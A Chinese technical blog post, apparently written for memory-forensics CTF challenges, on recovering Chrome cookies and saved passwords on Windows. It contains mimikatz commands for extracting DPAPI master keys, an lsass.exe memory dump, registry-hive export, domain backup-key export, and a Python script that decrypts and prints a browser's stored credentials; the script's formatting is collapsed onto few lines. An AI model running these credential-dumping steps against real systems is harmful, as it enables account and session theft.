当前位置： 首页 > news >正文

重庆网站seo好不好网络营销网站建设

news 2025/7/8 5:25:42
重庆网站seo好不好,网络营销网站建设,中国建设银行手机银行下载,北京市石景山区住房和城乡建设委员会网站文章目录 1.前置知识点2.对于80.X以前版本的解密拿masterkey的几种方法方法一 直接在目标机器运行Mimikatz提取方法二 转储lsass.exe 进程从内存提取masterkey方法三 导出SAM注册表 提取user hash 解密masterkey文件（有点麻烦不太推荐）方法四 已知用户密…

文章目录

    • 1.前置知识点
    • 2.对于80.X以前版本的解密
      • 拿masterkey的几种方法
        • 方法一 直接在目标机器运行Mimikatz提取
        • 方法二 转储lsass.exe 进程从内存提取masterkey
        • 方法三 导出SAM注册表 提取user hash 解密masterkey文件（有点麻烦不太推荐）
        • 方法四 已知用户密码(或hash) 用户SID(masterkey路径) 拿到加密后的masterkey文件
        • 方法五 通过域管理员导出backup key 恢复Master key
      • 使用masterkey离线解密cookies\logindata
    • 3.对于80.X以后版本的加密过程分析
    • 解密脚本（支持所有版本）
    • History解析

本来想以Chrome的内存取证为基础出Misc题的，但是出题过程中对于各个数据的解密碰到诸多问题，发现网上也没有一个很好的总结性文章，索性简单研究总结记录一下

这里实验所使用的浏览器都为Google Chrome，理论上Chrome内核的浏览器应该都可以，主要针对windows操作系统

80.X版本以前的chrome可以在commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/下载到

本文所使用的是commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/704086/，对应版本是79.0.3938.0

1.前置知识点

Chrome的重要存储文件有如下：

  • Cookies文件：记录了用户的cookie信息，本质为sqlite数据库

    • 80.X版本以前位于%localappdata%\Chromium\User Data\Default\Cookies
    • 80.X版本以后位于%localappdata%\Google\Chrome\User Data\Default\Cookies
    • 至少是110.X版本以后%localappdata%\Google\Chrome\User Data\Default\Network\Cookies

  • History文件：记录了访问历史记录，本质为sqlite数据库

    • 80.X版本以前位于%localappdata%\Chromium\User Data\Default\History
    • 80.X版本以后位于%localappdata%\Google\Chrome\User Data\Default\History

  • Login Data文件：记录了用户保存的用户名密码，本质为sqlite数据库

    • 80.X版本以前位于%localappdata%\Chromium\User Data\Default\Login Data
    • 80.X版本以后位于%localappdata%\Google\Chrome\User Data\Default\Login Data

  • Local State文件：密钥文件，本质为json

    • 80.X版本以前位于%localappdata%\Chromium\User Data\Local State
    • 80.X版本以后位于%localappdata%\Google\Chrome\User Data\Local State

以上文件路径不一定完全正确并未测过所有版本，但基本上大差不差

在chrome中对于cookies和login data的文件加密在windows中根据版本不同主要分为两种加密方式DPAPI与AES-256-GCM：

  • 1、没有以v10或v11为前缀的加密值，主要是在80.X版本以前，为DPAPI加密

  • 2、以v10或v11为前缀的加密值，主要是在80.X版本以后，为AES-256-GCM加密

可以使用DB Browser for SQLite或者Navicat查看数据库内容

80版本以后的v10前缀加密：

image-20231213082026448

80版本以前的无v10前缀（也可能有，但加密算法没变，v10后文会提到只是一个iv值），前缀似乎是固定的0x010000（不确定）

image-20231213090112852

2.对于80.X以前版本的解密

对于80以前版本的，采用了DPAPI加密，简单抄抄一下DPAPI：

DPAPI是Windows系统级对数据进行加解密的一种接口无需自实现加解密代码微软已经提供了经过验证的高质量加解密算法提供了用户态的接口对密钥的推导存储数据加解密实现透明并提供较高的安全保证

DPAPI提供了两个用户态接口CryptProtectData加密数据CryptUnprotectData解密数据加密后的数据由应用程序负责安全存储应用无需解析加密后的数据格式。但是加密后的数据存储需要一定的机制因为该数据可以被其他任何进程用来解密当然CryptProtectData也提供了用户输入额外数据来参与对用户数据进行加密的参数但依然无法放于暴力破解。

总体来说程序可以使用DPAPI来对自己敏感的数据进行加解密也可持久化存储程序或系统重启后可解密密文获取原文。如果应用程序对此敏感数据只是暂存于内存为了防止被黑客dump内存后进行破解也对此数据无需进行持久化存储微软还提供了加解密内存的接口CryptProtectMemory和CryptUnprotectMemory。加解密内存的接口并可指定Flag对此内存加解密的声明周期做控制详细见Memory加密及优缺点章节

对于其解密相对来说比较简单，这里主要采用mimikatz进行解密

如果有目标用户的桌面权限，先privilege::debug提权

然后直接使用命令

dpapi::chrome /in:"%localappdata%\Chromium\User Data\Default\Cookies" /unprotect

image-20231213113050511

如果脱机的时候解密（这里使用我win7虚拟机的cookies），会提示报错，需要对应guid的Masterkey

image-20231213110722158

Master Key：

64字节，用于解密DPAPI blob，使用用户登录密码、SID和16字节随机数加密后保存在Master Key file中

Master Key file：

二进制文件，可使用用户登录密码对其解密，获得Master Key

分为两种：

·用户Master Key file，位于%APPDATA%\Microsoft\Protect\%SID%

·系统Master Key file，位于%WINDIR%\System32\Microsoft\Protect\{sid}\User

Preferred文件：

位于Master Key file的同级目录，显示当前系统正在使用的MasterKey及其过期时间，默认90天有效期

拿masterkey的几种方法

方法一 直接在目标机器运行Mimikatz提取
privilege::debug
sekurlsa::dpapi

(需目标用户已登陆)

image-20231213113818088

方法二 转储lsass.exe 进程从内存提取masterkey

如果目标用户已经登陆 lsass进程的内存中会存在masterkey 转储之 使用Mimikatz提取

procdump.exe -accepteula -ma lsass.exe 666.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi

这里dump下来win7转到物理机中获取
请添加图片描述

方法三 导出SAM注册表 提取user hash 解密masterkey文件（有点麻烦不太推荐）

需SYSTEM权限

reg save HKLM\SYSTEM SS.hiv
reg save HKLM\SECURITY SE.hiv

m/u 值解密Masterkey文件

mimikatz log "lsadump::secrets /system:SS.hiv /security:SE.hiv"

拿到DPAPI_SYSTEM m/u 后半部分的值 (HASH)

这种方法对应MASTERKEY位置在C:\Windows\System32\Microsoft\Protect\S-1-5-18\{GUID}

dpapi::masterkey /in:C:\Windows\System32\Microsoft\Protect\S-1-5-18\{GUID} /system:HASH

即可拿到masterkey

方法四 已知用户密码(或hash) 用户SID(masterkey路径) 拿到加密后的masterkey文件

这是当时 volatility内存取证题遇到的问题，做内存题用这个方法很好用，原理其实跟方法二没差

先mimikatz获取获取用户密码

image-20231213115837820
接着找到masterkey文件位置

这种方法的文件位置在C:\Users{username}\AppData\Roaming\Microsoft\Protect\{SID}\{GUID}

image-20231213120001716

dpapi::masterkey /in:{masterkeyfile} /sid:{sid} /password:{password} /protected

image-20231213120155237

/password可以用/hash:密码hash代替(NTLM or SHA1)（存疑，没成功过）
即可拿到masterkey

方法五 通过域管理员导出backup key 恢复Master key

利用条件:目标机器加入域 要拿的是域用户的key 拿到域管理员权限

lsadump::backupkeys /system:123.com /export

(需要域管理员权限) 导出domain backup key

dpapi::masterkey /in:"C:\Users\spotless.OFFENSE\AppData\Roaming\Microsoft\Protect\{sid}\{guid}" /pvk:ntds_capi_0_d2685b31-402d-493b-8d12-5fe48ee26f5a.pvk

即可拿到masterkey

使用masterkey离线解密cookies\logindata

dpapi::chrome /in:{Cookies} /masterkey:{masterkey} /unprotect

mimikatz会自动储存masterkey和guid对应值，其实可以直接自动解密

image-20231213120628588

3.对于80.X以后版本的加密过程分析

80版本以后的cookies是没法再用masterkey来解密的，提前挖个坑，80版本后基本上失去脱机解密的可能性了，不知道以后有没有机会填坑

直接解会提示报错没有正确的aes的key，80版本后加密变成了aes256gcm

image-20231213121724756

对于cookies和logindata的加密过程详细解析参考

Chrome浏览器Cookie及密码解密的分析过程及Java实现（Windows平台下v10及以上Cookie文件encrypted_value及Login Data文件password_value的解密）-进城务工人员小梅 (meilongkui.com)

查看chrome的加密源码os_crypt_unittest.cc - Chromium Code Search

image-20231213133800964

os_crypt_win.cc文件里记录了具体加密过程，可以看到是用localstate文件内读取了key

image-20231213124112380

image-20231213124248889

结合源码可以看到这个encrypted_key是base64加密，且以DPAPI为开头的结果

在这里插入图片描述

密钥和NONCE/IV的长度也被记录在开头

image-20231213124512267

解密方法也写在同文件里了

image-20231213124745928

可以看出，encrypted_value的前缀v10后为12字节的NONCE（IV），然后再是真正的密文。Chrome使用的是AES-256-GCM的AEAD对称加密，使用BoringsSSL实现：

image-20231213133938776

image-20231213134021445

GCM_TAG_LENGTH=16

image-20231213134105522

解密脚本（支持所有版本）

# -*- coding=utf-8 -*-
import os
import sqlite3
import json
import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import ctypes
from ctypes import wintypes# 定义cookie、localstate、logindata三个文件的位置
cookie_path = os.path.expanduser(os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Network\Cookies'))local_state_path = os.path.join(os.environ['LOCALAPPDATA'], r"Google\Chrome\User Data\Local State")login_data_path =os.path.expanduser(os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data'))# cookie_path = os.path.expanduser(os.path.join(
#     os.environ['LOCALAPPDATA'], r'Chromium\User Data\Default\Cookies'))
# local_state_path = os.path.join(
#     os.environ['LOCALAPPDATA'], r"Chromium\User Data\Local State")
# login_data_path =os.path.expanduser(os.path.join(
#     os.environ['LOCALAPPDATA'], r'Chromium\User Data\Default\Login Data'))class AES_GCM:@staticmethoddef encrypt(cipher, plaintext, nonce):cipher.mode = modes.GCM(nonce)encryptor = cipher.encryptor()ciphertext = encryptor.update(plaintext)return cipher, ciphertext, nonce@staticmethoddef decrypt(cipher, ciphertext, nonce):cipher.mode = modes.GCM(nonce)decryptor = cipher.decryptor()return decryptor.update(ciphertext)@staticmethoddef get_cipher(key):cipher = Cipher(algorithms.AES(key), None, backend=default_backend())return cipherdef dpapi_decrypt(encrypted):class DATA_BLOB(ctypes.Structure):_fields_ = [('cbData', wintypes.DWORD),('pbData', ctypes.POINTER(ctypes.c_char))]try:p = ctypes.create_string_buffer(encrypted, len(encrypted))blobin = DATA_BLOB(ctypes.sizeof(p), p)blobout = DATA_BLOB()retval = ctypes.windll.crypt32.CryptUnprotectData(ctypes.byref(blobin), None, None, None, None, 0, ctypes.byref(blobout))if not retval:raise ctypes.WinError()result = ctypes.string_at(blobout.pbData, blobout.cbData)return resultexcept Exception as e:print(f"Error in dpapi_decrypt: {e}")return Nonedef get_key_from_local_state():with open(local_state_path, encoding='utf-8', mode="r") as f:jsn = json.loads(str(f.readline()))return jsn["os_crypt"]["encrypted_key"]def aes_decrypt(encrypted_txt):encoded_key = get_key_from_local_state()encrypted_key = base64.b64decode(encoded_key.encode())encrypted_key = encrypted_key[5:]key = dpapi_decrypt(encrypted_key)nonce = encrypted_txt[3:15]cipher = AES_GCM.get_cipher(key)return AES_GCM.decrypt(cipher, encrypted_txt[15:], nonce)def chrome_decrypt(encrypted_txt):if encrypted_txt[:4] == b'x01x00x00x00':decrypted_txt = dpapi_decrypt(encrypted_txt)return decrypted_txt.decode()elif encrypted_txt[:3] == b'v10':decrypted_txt = aes_decrypt(encrypted_txt)return decrypted_txt[:-16].decode()def query_cookie(host):if host:sql = f"select host_key, name, encrypted_value from cookies where host_key = '{host}'"else:sql = "select host_key, name, encrypted_value from cookies"with sqlite3.connect(cookie_path) as conn:result = conn.execute(sql).fetchall()return resultdef query_logindata(url):if url:sql = f"select origin_url, username_value, password_value from logins where origin_url = '{url}'"else:sql = "select origin_url, username_value, password_value from logins"with sqlite3.connect(login_data_path) as conn:result = conn.execute(sql).fetchall()return resultif __name__ == '__main__':print("Decrypt Cookies:")cookies = query_cookie("chat.openai.com") # 可以传入参数筛选指定host_keyfor data in cookies:cok = data[0], data[1], chrome_decrypt(data[2])print(cok)print()print("Decrypt Login Data:")logindata = query_logindata("") # 可以传入参数筛选指定urlfor data in logindata:login = data[0], data[1], chrome_decrypt(data[2])print(login)

解析结果还不错
image-20231213141516280

由于其中对Locat State的encrypt_key的DPAPI解密似乎是绑定操作系统本身环境的，尝试了各种方法暂未能够在更换主机的情况下解密encrypt_key

image-20231213141651483

History解析

history里面还是记录了很多东西的，包括访问历史记录、下载记录等等

但是都是以明文记录的，这里也就不做过多解释了

在内存取证中推荐一个volatility2的插件superponible/volatility-plugins: Plugins I’ve written for Volatility (github.com)

其中的chromehistory对chrome历史记录的解析还可以

在这里插入图片描述

http://www.tj-hxxt.cn/news/15138.html

相关文章：

  • 给博彩做网站怎样推广app
  • 怎样做投资理财网站啥是网络推广
  • 制作公司网站需要那些资料湘潭网站制作
  • 潍坊网站建设策划方案展示型网站有哪些
  • 南宁营销型网站建设公司优化大师官方
  • 连云港网站建设哪家好百度移动
  • 网页建立seo网站关键词优化报价
  • 网站模板下载 网盘关键词优化推广
  • 专业做网站开发费用seow是什么意思
  • 德清县建设局网站seo网站推广经理招聘
  • java网站做微信分享免费网站流量统计
  • 怎么用域名建网站信息流优化师发展前景
  • 网站affiliate怎么做广州推广排名
  • 毕业设计做啥网站好360优化大师官方网站
  • 微信备份wordpressseo网站推广教程
  • 长沙做网站优化的公司最佳bt磁力猫
  • 网站建设seo视频教程百度sem竞价推广pdf
  • thinkphp企业网站宁波seo推广服务
  • 商城版免费网站制作建设官网的网站首页
  • 做鞋子网站的域名公司网站免费自建
  • 广州知名网站建设哪家好郑州官网网站推广优化
  • 天津企业网站设计哪家好搜狗链接提交入口
  • 基于wordpress个人博客网站论文91
  • 做网站哪个公司服务营销的七个要素
  • 做cpa网站推广普通话手抄报图片
  • 南京公司做网站科技公司网站制作公司
  • 大型网站 建设意义怎样做关键词排名优化
  • 番禺区核酸检测点搜索引擎优化的方法有哪些?
  • 佛山门户网站建设公司企业培训机构哪家最好
  • 用php怎么做网站阳城seo排名